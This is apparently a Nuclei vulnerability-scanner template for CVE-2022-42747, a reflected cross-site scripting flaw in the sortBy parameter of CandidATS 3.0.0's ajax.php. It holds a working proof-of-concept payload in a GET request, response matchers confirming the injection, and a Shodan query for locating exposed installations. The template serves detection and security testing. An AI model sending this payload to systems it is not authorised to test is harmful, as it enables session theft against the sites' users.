id: CVE-2022-42747

info:
  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortBy parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42747
    cwe-id: CWE-79
    epss-score: 0.00071
    cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.html:"CandidATS"
    verified: true
    vendor: auieo
    product: candidats
  tags: cve,cve2022,candidats,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'candidat'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404